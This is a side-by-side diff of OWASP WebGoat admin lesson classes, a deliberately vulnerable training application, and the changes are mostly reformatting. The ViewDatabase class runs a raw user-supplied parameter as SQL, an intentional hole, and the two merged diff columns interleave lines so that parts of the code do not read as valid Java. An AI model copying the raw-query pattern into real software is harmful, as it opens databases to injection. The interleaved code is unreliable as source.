tr.addElement(new TD().setAlign("CENTER").setColSpan(9).addElement( *
"Hackable Admin Screens")); * @return The category value
t.addElement(tr); */
for (Iterator lessonIter = s.getCourse().getLessons(s, protected Category getDefaultCategory()
AbstractLesson.HACKED_ADMIN_ROLE).iterator(); lessonIter
.hasNext();)
{ {
Screen screen = (Screen) lessonIter.next(); return Category.ADMIN_FUNCTIONS;
t.addElement(makeLessonRow(s, user, screen));
} }
// The user figured out how to actually hack the admin acocunt private final static Integer DEFAULT_RANKING = new Integer(1000);
tr = new TR();
tr.addElement(new TD().setAlign("CENTER").setColSpan(9).addElement( protected Integer getDefaultRanking()
"Actual Admin Screens"));
t.addElement(tr);
for (Iterator lessonIter = s.getCourse().getLessons(s,
AbstractLesson.ADMIN_ROLE).iterator(); lessonIter.hasNext();)
{ {
Screen screen = (Screen) lessonIter.next(); return DEFAULT_RANKING;
t.addElement(makeLessonRow(s, user, screen));
} }
ec.addElement(t); /**
return (ec); * Gets the role attribute of the UserAdminScreen object
} *
* @return The role value
*/
public String getRole()
{
return USER_ROLE;
}
/**
* Gets the title attribute of the UserAdminScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Report Card");
}
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param screen
* @param user Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @param s
*/ * Description of the Parameter
protected Element makeUser(WebSession s, String user) * @param user
{ * Description of the Parameter
H2 h2 = new H2(); * @return Description of the Return Value
// FIXME: The session is the current session, not the session of the user we are reporting. */
//String type = s.isAdmin() ? " [Administrative User]" : s.isHackedAdmin() ? " [Normal User - Hacked Admin Access]" : " [Normal User]"; private TR makeLessonRow(WebSession s, String user, Screen screen)
String type = ""; {
h2.addElement(new StringElement("Results for: " + user + type)); LessonTracker lessonTracker = UserTracker.instance().getLessonTracker(s, user, screen);
return h2; TR tr = new TR();
} if (lessonTracker.getCompleted())
{
tr.setBgColor(HtmlColor.LIGHTGREEN);
}
else if (lessonTracker.getNumVisits() == 0)
{
tr.setBgColor(HtmlColor.LIGHTBLUE);
}
else if (!lessonTracker.getCompleted() && lessonTracker.getNumVisits() > 10)
{
tr.setBgColor(HtmlColor.RED);
}
else
{
tr.setBgColor(HtmlColor.YELLOW);
}
tr.addElement(new TD().addElement(screen.getTitle()));
tr.addElement(new TD().setAlign("CENTER").addElement(lessonTracker.getCompleted() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(Integer.toString(lessonTracker.getNumVisits())));
tr.addElement(new TD().setAlign("CENTER").addElement(Integer.toString(lessonTracker.getMaxHintLevel())));
tr.addElement(new TD().setAlign("CENTER").addElement(lessonTracker.getViewedCookies() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(lessonTracker.getViewedHtml() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(lessonTracker.getViewedLessonPlan() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(lessonTracker.getViewedParameters() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(lessonTracker.getViewedSource() ? "Y" : "N"));
return tr;
}
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeMessages(WebSession s)
{
ElementContainer ec = new ElementContainer();
/** return (ec);
* Description of the Method }
*
* @return Description of the Return Value
*/
private TR makeUserHeaderRow()
{
TR tr = new TR();
tr.addElement(new TH("Lesson")); /**
tr.addElement(new TH("Complete")); * Description of the Method
tr.addElement(new TH("Visits")); *
tr.addElement(new TH("Hints")); * @param s
tr.addElement(new TH("Cookies")); * Description of the Parameter
tr.addElement(new TH("HTML")); * @param user
tr.addElement(new TH("LessonPlan")); * Description of the Parameter
tr.addElement(new TH("Parameters")); * @return Description of the Return Value
tr.addElement(new TH("Source")); */
public Element makeReportCard(WebSession s, String user)
{
ElementContainer ec = new ElementContainer();
return tr; ec.addElement(makeUser(s, user));
} Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1);
if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
t.addElement(makeUserHeaderRow());
// These are all the user lesson
tr = new TR();
tr.addElement(new TD().setAlign("CENTER").setColSpan(9).addElement("Normal user lessons"));
t.addElement(tr);
for (Iterator lessonIter = s.getCourse().getLessons(s, AbstractLesson.USER_ROLE).iterator(); lessonIter
.hasNext();)
{
Screen screen = (Screen) lessonIter.next();
t.addElement(makeLessonRow(s, user, screen));
}
// The user figured out there was a hackable admin acocunt
tr = new TR();
tr.addElement(new TD().setAlign("CENTER").setColSpan(9).addElement("Hackable Admin Screens"));
t.addElement(tr);
for (Iterator lessonIter = s.getCourse().getLessons(s, AbstractLesson.HACKED_ADMIN_ROLE).iterator(); lessonIter
.hasNext();)
{
Screen screen = (Screen) lessonIter.next();
t.addElement(makeLessonRow(s, user, screen));
}
// The user figured out how to actually hack the admin acocunt
tr = new TR();
tr.addElement(new TD().setAlign("CENTER").setColSpan(9).addElement("Actual Admin Screens"));
t.addElement(tr);
for (Iterator lessonIter = s.getCourse().getLessons(s, AbstractLesson.ADMIN_ROLE).iterator(); lessonIter
.hasNext();)
{
Screen screen = (Screen) lessonIter.next();
t.addElement(makeLessonRow(s, user, screen));
}
ec.addElement(t);
return (ec);
}
/**
* Description of the Method
*
* @param s
* Description of the Parameter
* @param user
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeUser(WebSession s, String user)
{
H2 h2 = new H2();
// FIXME: The session is the current session, not the session of the user we are reporting.
// String type = s.isAdmin() ? " [Administrative User]" : s.isHackedAdmin() ? " [Normal User
// - Hacked Admin
// Access]" : " [Normal User]";
String type = "";
h2.addElement(new StringElement("Results for: " + user + type));
return h2;
}
/**
* Description of the Method
*
* @return Description of the Return Value
*/
private TR makeUserHeaderRow()
{
TR tr = new TR();
tr.addElement(new TH("Lesson"));
tr.addElement(new TH("Complete"));
tr.addElement(new TH("Visits"));
tr.addElement(new TH("Hints"));
tr.addElement(new TH("Cookies"));
tr.addElement(new TH("HTML"));
tr.addElement(new TH("LessonPlan"));
tr.addElement(new TH("Parameters"));
tr.addElement(new TH("Source"));
return tr;
}
} }

View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons.admin; package org.owasp.webgoat.lessons.admin;
import java.util.Enumeration; import java.util.Enumeration;
import java.util.Iterator; import java.util.Iterator;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.HtmlColor; import org.apache.ecs.HtmlColor;
@ -21,317 +21,294 @@ import org.owasp.webgoat.session.Screen;
import org.owasp.webgoat.session.UserTracker; import org.owasp.webgoat.session.UserTracker;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Bruce mayhew <a href="http://code.google.com">WebGoat</a> * @author Bruce mayhew <a href="http://code.google.com">WebGoat</a>
* @created October 28, 2003 * @created October 28, 2003
*/ */
public class SummaryReportCardScreen extends LessonAdapter public class SummaryReportCardScreen extends LessonAdapter
{ {
private int totalUsersNormalComplete = 0; private int totalUsersNormalComplete = 0;
private int totalUsersAdminComplete = 0; private int totalUsersAdminComplete = 0;
/**
/** * Description of the Method
* Description of the Method *
* * @param s
* @param s Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
String selectedUser = null;
try
{ {
if (s.getRequest().isUserInRole(WebSession.WEBGOAT_ADMIN)) ElementContainer ec = new ElementContainer();
{
Enumeration e = s.getParser().getParameterNames();
while (e.hasMoreElements()) String selectedUser = null;
try
{ {
String key = (String) e.nextElement(); if (s.getRequest().isUserInRole(WebSession.WEBGOAT_ADMIN))
if (key.startsWith("View_")) {
{ Enumeration e = s.getParser().getParameterNames();
selectedUser = key.substring("View_".length());
ReportCardScreen reportCard = new ReportCardScreen(); while (e.hasMoreElements())
return reportCard.makeReportCard(s, selectedUser); {
} String key = (String) e.nextElement();
if (key.startsWith("Delete_")) if (key.startsWith("View_"))
{ {
selectedUser = key.substring("Delete_".length()); selectedUser = key.substring("View_".length());
deleteUser(selectedUser); ReportCardScreen reportCard = new ReportCardScreen();
} return reportCard.makeReportCard(s, selectedUser);
}
if (key.startsWith("Delete_"))
{
selectedUser = key.substring("Delete_".length());
deleteUser(selectedUser);
}
}
}
} catch (Exception e)
{
e.printStackTrace();
} }
}
ec.addElement(new Center().addElement(makeSummary(s)));
ec.addElement(new P());
Table t = new Table().setCellSpacing(0).setCellPadding(4).setBorder(1).setWidth("100%");
if (s.isColor())
{
t.setBorder(1);
}
t.addElement(makeUserSummaryHeader());
for (Iterator<String> userIter = UserTracker.instance().getAllUsers(WebSession.WEBGOAT_USER).iterator(); userIter
.hasNext();)
{
String user = userIter.next();
t.addElement(makeUserSummaryRow(s, user));
}
ec.addElement(new Center().addElement(t));
return ec;
} }
catch (Exception e)
protected Element makeSummary(WebSession s)
{ {
e.printStackTrace(); Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0).setWidth("100%");
if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
// tr.addElement( new TH().addElement( "Summary").setColSpan(1));
// t.addElement( tr );
tr = new TR();
tr.addElement(new TD().setWidth("60%").addElement("Total number of users"));
tr.addElement(new TD().setAlign("LEFT").addElement(
Integer.toString(UserTracker.instance()
.getAllUsers(WebSession.WEBGOAT_USER).size())));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().setWidth("60%").addElement("Total number of users that completed all normal lessons"));
tr.addElement(new TD().setAlign("LEFT").addElement(Integer.toString(totalUsersNormalComplete)));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().setWidth("60%").addElement("Total number of users that completed all admin lessons"));
tr.addElement(new TD().setAlign("LEFT").addElement(Integer.toString(totalUsersAdminComplete)));
t.addElement(tr);
return t;
} }
ec.addElement(new Center().addElement(makeSummary(s))); private void deleteUser(String user)
ec.addElement(new P());
Table t = new Table().setCellSpacing(0).setCellPadding(4).setBorder(1)
.setWidth("100%");
if (s.isColor())
{ {
t.setBorder(1); UserTracker.instance().deleteUser(user);
} }
t.addElement(makeUserSummaryHeader());
for (Iterator<String> userIter = UserTracker.instance().getAllUsers( /**
WebSession.WEBGOAT_USER).iterator(); userIter.hasNext();) * Gets the category attribute of the UserAdminScreen object
*
* @return The category value
*/
protected Category getDefaultCategory()
{ {
return Category.ADMIN_FUNCTIONS;
String user = userIter.next();
t.addElement(makeUserSummaryRow(s, user));
} }
ec.addElement(new Center().addElement(t)); private final static Integer DEFAULT_RANKING = new Integer(1000);
return ec; protected Integer getDefaultRanking()
}
protected Element makeSummary(WebSession s)
{
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0)
.setWidth("100%");
if (s.isColor())
{ {
t.setBorder(1); return DEFAULT_RANKING;
} }
TR tr = new TR();
//tr.addElement( new TH().addElement( "Summary").setColSpan(1));
//t.addElement( tr );
tr = new TR(); /**
tr.addElement(new TD().setWidth("60%").addElement( * Gets the role attribute of the UserAdminScreen object
"Total number of users")); *
tr.addElement(new TD().setAlign("LEFT").addElement( * @return The role value
Integer.toString(UserTracker.instance().getAllUsers( */
WebSession.WEBGOAT_USER).size()))); public String getRole()
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().setWidth("60%").addElement(
"Total number of users that completed all normal lessons"));
tr.addElement(new TD().setAlign("LEFT").addElement(
Integer.toString(totalUsersNormalComplete)));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().setWidth("60%").addElement(
"Total number of users that completed all admin lessons"));
tr.addElement(new TD().setAlign("LEFT").addElement(
Integer.toString(totalUsersAdminComplete)));
t.addElement(tr);
return t;
}
private void deleteUser(String user)
{
UserTracker.instance().deleteUser(user);
}
/**
* Gets the category attribute of the UserAdminScreen object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.ADMIN_FUNCTIONS;
}
private final static Integer DEFAULT_RANKING = new Integer(1000);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the role attribute of the UserAdminScreen object
*
* @return The role value
*/
public String getRole()
{
return ADMIN_ROLE;
}
/**
* Gets the title attribute of the UserAdminScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Summary Report Card");
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeMessages(WebSession s)
{
ElementContainer ec = new ElementContainer();
return (ec);
}
/**
* Description of the Method
*
* @return Description of the Return Value
*/
protected Element makeUserSummaryHeader()
{
TR tr = new TR();
tr.addElement(new TH("User Name"));
tr.addElement(new TH("Normal Complete"));
tr.addElement(new TH("Admin Complete"));
tr.addElement(new TH("View"));
tr.addElement(new TH("Delete"));
return tr;
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param user Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeUserSummaryRow(WebSession s, String user)
{
TR tr = new TR();
tr.addElement(new TD().setAlign("LEFT").addElement(user));
int lessonCount = 0;
int passedCount = 0;
boolean normalComplete = false;
boolean adminComplete = false;
for (Iterator lessonIter = s.getCourse().getLessons(s,
AbstractLesson.USER_ROLE).iterator(); lessonIter.hasNext();)
{ {
lessonCount++; return ADMIN_ROLE;
Screen screen = (Screen) lessonIter.next();
LessonTracker lessonTracker = UserTracker.instance()
.getLessonTracker(s, user, screen);
if (lessonTracker.getCompleted())
{
passedCount++;
}
} }
if (lessonCount == passedCount)
/**
* Gets the title attribute of the UserAdminScreen object
*
* @return The title value
*/
public String getTitle()
{ {
normalComplete = true; return ("Summary Report Card");
totalUsersNormalComplete++;
} }
String text = Integer.toString(passedCount) + " of "
+ Integer.toString(lessonCount);
tr.addElement(new TD().setAlign("CENTER").addElement(text));
lessonCount = 0; /**
passedCount = 0; * Description of the Method
for (Iterator lessonIter = s.getCourse().getLessons(s, *
AbstractLesson.HACKED_ADMIN_ROLE).iterator(); lessonIter * @param s
.hasNext();) * Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeMessages(WebSession s)
{ {
lessonCount++; ElementContainer ec = new ElementContainer();
Screen screen = (Screen) lessonIter.next();
LessonTracker lessonTracker = UserTracker.instance() return (ec);
.getLessonTracker(s, user, screen);
if (lessonTracker.getCompleted())
{
passedCount++;
}
} }
if (lessonCount == passedCount)
/**
* Description of the Method
*
* @return Description of the Return Value
*/
protected Element makeUserSummaryHeader()
{ {
adminComplete = true; TR tr = new TR();
totalUsersAdminComplete++;
tr.addElement(new TH("User Name"));
tr.addElement(new TH("Normal Complete"));
tr.addElement(new TH("Admin Complete"));
tr.addElement(new TH("View"));
tr.addElement(new TH("Delete"));
return tr;
} }
text = Integer.toString(passedCount) + " of "
+ Integer.toString(lessonCount);
tr.addElement(new TD().setAlign("CENTER").addElement(text));
tr.addElement(new TD().setAlign("CENTER").addElement( /**
new Input(Input.SUBMIT, "View_" + user, "View"))); * Description of the Method
tr.addElement(new TD().setAlign("CENTER").addElement( *
new Input(Input.SUBMIT, "Delete_" + user, "Delete"))); * @param s
* Description of the Parameter
if (normalComplete && adminComplete) * @param user
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeUserSummaryRow(WebSession s, String user)
{ {
tr.setBgColor(HtmlColor.GREEN); TR tr = new TR();
tr.addElement(new TD().setAlign("LEFT").addElement(user));
int lessonCount = 0;
int passedCount = 0;
boolean normalComplete = false;
boolean adminComplete = false;
for (Iterator lessonIter = s.getCourse().getLessons(s, AbstractLesson.USER_ROLE).iterator(); lessonIter
.hasNext();)
{
lessonCount++;
Screen screen = (Screen) lessonIter.next();
LessonTracker lessonTracker = UserTracker.instance().getLessonTracker(s, user, screen);
if (lessonTracker.getCompleted())
{
passedCount++;
}
}
if (lessonCount == passedCount)
{
normalComplete = true;
totalUsersNormalComplete++;
}
String text = Integer.toString(passedCount) + " of " + Integer.toString(lessonCount);
tr.addElement(new TD().setAlign("CENTER").addElement(text));
lessonCount = 0;
passedCount = 0;
for (Iterator lessonIter = s.getCourse().getLessons(s, AbstractLesson.HACKED_ADMIN_ROLE).iterator(); lessonIter
.hasNext();)
{
lessonCount++;
Screen screen = (Screen) lessonIter.next();
LessonTracker lessonTracker = UserTracker.instance().getLessonTracker(s, user, screen);
if (lessonTracker.getCompleted())
{
passedCount++;
}
}
if (lessonCount == passedCount)
{
adminComplete = true;
totalUsersAdminComplete++;
}
text = Integer.toString(passedCount) + " of " + Integer.toString(lessonCount);
tr.addElement(new TD().setAlign("CENTER").addElement(text));
tr.addElement(new TD().setAlign("CENTER").addElement(new Input(Input.SUBMIT, "View_" + user, "View")));
tr.addElement(new TD().setAlign("CENTER").addElement(new Input(Input.SUBMIT, "Delete_" + user, "Delete")));
if (normalComplete && adminComplete)
{
tr.setBgColor(HtmlColor.GREEN);
}
else if (normalComplete)
{
tr.setBgColor(HtmlColor.LIGHTGREEN);
}
else
{
tr.setBgColor(HtmlColor.LIGHTBLUE);
}
return (tr);
} }
else if (normalComplete)
public boolean isEnterprise()
{ {
tr.setBgColor(HtmlColor.LIGHTGREEN); return true;
} }
else
{
tr.setBgColor(HtmlColor.LIGHTBLUE);
}
return (tr);
}
public boolean isEnterprise()
{
return true;
}
} }

View File

@ -1,10 +1,10 @@
package org.owasp.webgoat.lessons.admin; package org.owasp.webgoat.lessons.admin;
import java.sql.Connection; import java.sql.Connection;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.ResultSetMetaData; import java.sql.ResultSetMetaData;
import java.sql.Statement; import java.sql.Statement;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.owasp.webgoat.lessons.Category; import org.owasp.webgoat.lessons.Category;
@ -12,32 +12,31 @@ import org.owasp.webgoat.lessons.LessonAdapter;
import org.owasp.webgoat.session.DatabaseUtilities; import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -47,82 +46,76 @@ import org.owasp.webgoat.session.WebSession;
public class UserAdminScreen extends LessonAdapter public class UserAdminScreen extends LessonAdapter
{ {
private final static String QUERY = "SELECT * FROM user_system_data"; private final static String QUERY = "SELECT * FROM user_system_data";
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* @return Description of the Return Value * Description of the Parameter
*/ * @return Description of the Return Value
protected Element createContent(WebSession s) */
{ protected Element createContent(WebSession s)
ElementContainer ec = new ElementContainer();
try
{ {
Connection connection = DatabaseUtilities.getConnection(s); ElementContainer ec = new ElementContainer();
Statement statement = connection.createStatement( try
ResultSet.TYPE_SCROLL_INSENSITIVE, {
ResultSet.CONCUR_READ_ONLY); Connection connection = DatabaseUtilities.getConnection(s);
ResultSet results = statement.executeQuery(QUERY);
if (results != null) Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
{ ResultSet.CONCUR_READ_ONLY);
makeSuccess(s); ResultSet results = statement.executeQuery(QUERY);
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results, if (results != null)
resultsMetaData)); {
} makeSuccess(s);
} ResultSetMetaData resultsMetaData = results.getMetaData();
catch (Exception e) ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
{ }
s.setMessage("Error generating " + this.getClass().getName()); } catch (Exception e)
e.printStackTrace(); {
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
} }
return (ec); /**
} * Gets the category attribute of the UserAdminScreen object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.ADMIN_FUNCTIONS;
}
private final static Integer DEFAULT_RANKING = new Integer(1000);
/** protected Integer getDefaultRanking()
* Gets the category attribute of the UserAdminScreen object {
* return DEFAULT_RANKING;
* @return The category value }
*/
protected Category getDefaultCategory()
{
return Category.ADMIN_FUNCTIONS;
}
private final static Integer DEFAULT_RANKING = new Integer(1000); /**
* Gets the role attribute of the UserAdminScreen object
*
* @return The role value
*/
public String getRole()
{
return HACKED_ADMIN_ROLE;
}
/**
protected Integer getDefaultRanking() * Gets the title attribute of the UserAdminScreen object
{ *
return DEFAULT_RANKING; * @return The title value
} */
public String getTitle()
{
/** return ("User Information");
* Gets the role attribute of the UserAdminScreen object }
*
* @return The role value
*/
public String getRole()
{
return HACKED_ADMIN_ROLE;
}
/**
* Gets the title attribute of the UserAdminScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("User Information");
}
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.admin; package org.owasp.webgoat.lessons.admin;
import java.sql.Connection; import java.sql.Connection;
@ -13,160 +14,149 @@ import org.apache.ecs.StringElement;
import org.apache.ecs.html.Input; import org.apache.ecs.html.Input;
import org.owasp.webgoat.session.*; import org.owasp.webgoat.session.*;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a> * @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created October 28, 2003 * @created October 28, 2003
*/ */
public class ViewDatabase extends LessonAdapter public class ViewDatabase extends LessonAdapter
{ {
private final static String SQL = "sql"; private final static String SQL = "sql";
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* @return Description of the Return Value * Description of the Parameter
*/ * @return Description of the Return Value
protected Element createContent(WebSession s) */
{ protected Element createContent(WebSession s)
ElementContainer ec = new ElementContainer();
try
{ {
ec.addElement(new StringElement("Enter a SQL statement: ")); ElementContainer ec = new ElementContainer();
StringBuffer sqlStatement = new StringBuffer(s.getParser() try
.getRawParameter(SQL, ""));
Input input = new Input(Input.TEXT, SQL, sqlStatement.toString());
ec.addElement(input);
Element b = ECSFactory.makeButton("Go!");
ec.addElement(b);
Connection connection = DatabaseUtilities.getConnection(s);
if (sqlStatement.length() > 0)
{
Statement statement = connection.createStatement(
ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(sqlStatement
.toString());
if ((results != null) && (results.first() == true))
{ {
makeSuccess(s); ec.addElement(new StringElement("Enter a SQL statement: "));
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results, StringBuffer sqlStatement = new StringBuffer(s.getParser().getRawParameter(SQL, ""));
resultsMetaData)); Input input = new Input(Input.TEXT, SQL, sqlStatement.toString());
ec.addElement(input);
Element b = ECSFactory.makeButton("Go!");
ec.addElement(b);
Connection connection = DatabaseUtilities.getConnection(s);
if (sqlStatement.length() > 0)
{
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(sqlStatement.toString());
if ((results != null) && (results.first() == true))
{
makeSuccess(s);
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
}
}
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
} }
} return (ec);
} }
catch (Exception e)
/**
* Gets the category attribute of the DatabaseScreen object
*
* @return The category value
*/
protected Category getDefaultCategory()
{ {
s.setMessage("Error generating " + this.getClass().getName()); return Category.ADMIN_FUNCTIONS;
e.printStackTrace();
} }
return (ec); private final static Integer DEFAULT_RANKING = new Integer(1000);
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/** /**
* Gets the category attribute of the DatabaseScreen object * Gets the hints attribute of the DatabaseScreen object
* *
* @return The category value * @return The hints value
*/ */
protected Category getDefaultCategory() protected List<String> getHints(WebSession s)
{ {
return Category.ADMIN_FUNCTIONS; List<String> hints = new ArrayList<String>();
} hints.add("There are no hints defined");
private final static Integer DEFAULT_RANKING = new Integer(1000); return hints;
}
/**
* Gets the instructions attribute of the ViewDatabase object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "Please post a message to to the WebGoat forum. Your messages will be available for everyone to read.";
protected Integer getDefaultRanking() return (instructions);
{ }
return DEFAULT_RANKING;
}
/**
* Gets the role attribute of the ViewDatabase object
*
* @return The role value
*/
public String getRole()
{
return HACKED_ADMIN_ROLE;
}
/** /**
* Gets the hints attribute of the DatabaseScreen object * Gets the title attribute of the DatabaseScreen object
* *
* @return The hints value * @return The title value
*/ */
protected List<String> getHints(WebSession s) public String getTitle()
{ {
List<String> hints = new ArrayList<String>(); return ("Adhoc Query");
hints.add("There are no hints defined"); }
return hints;
}
/**
* Gets the instructions attribute of the ViewDatabase object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "Please post a message to to the WebGoat forum. Your messages will be available for everyone to read.";
return (instructions);
}
/**
* Gets the role attribute of the ViewDatabase object
*
* @return The role value
*/
public String getRole()
{
return HACKED_ADMIN_ROLE;
}
/**
* Gets the title attribute of the DatabaseScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Adhoc Query");
}
} }

View File

@ -1,91 +1,89 @@
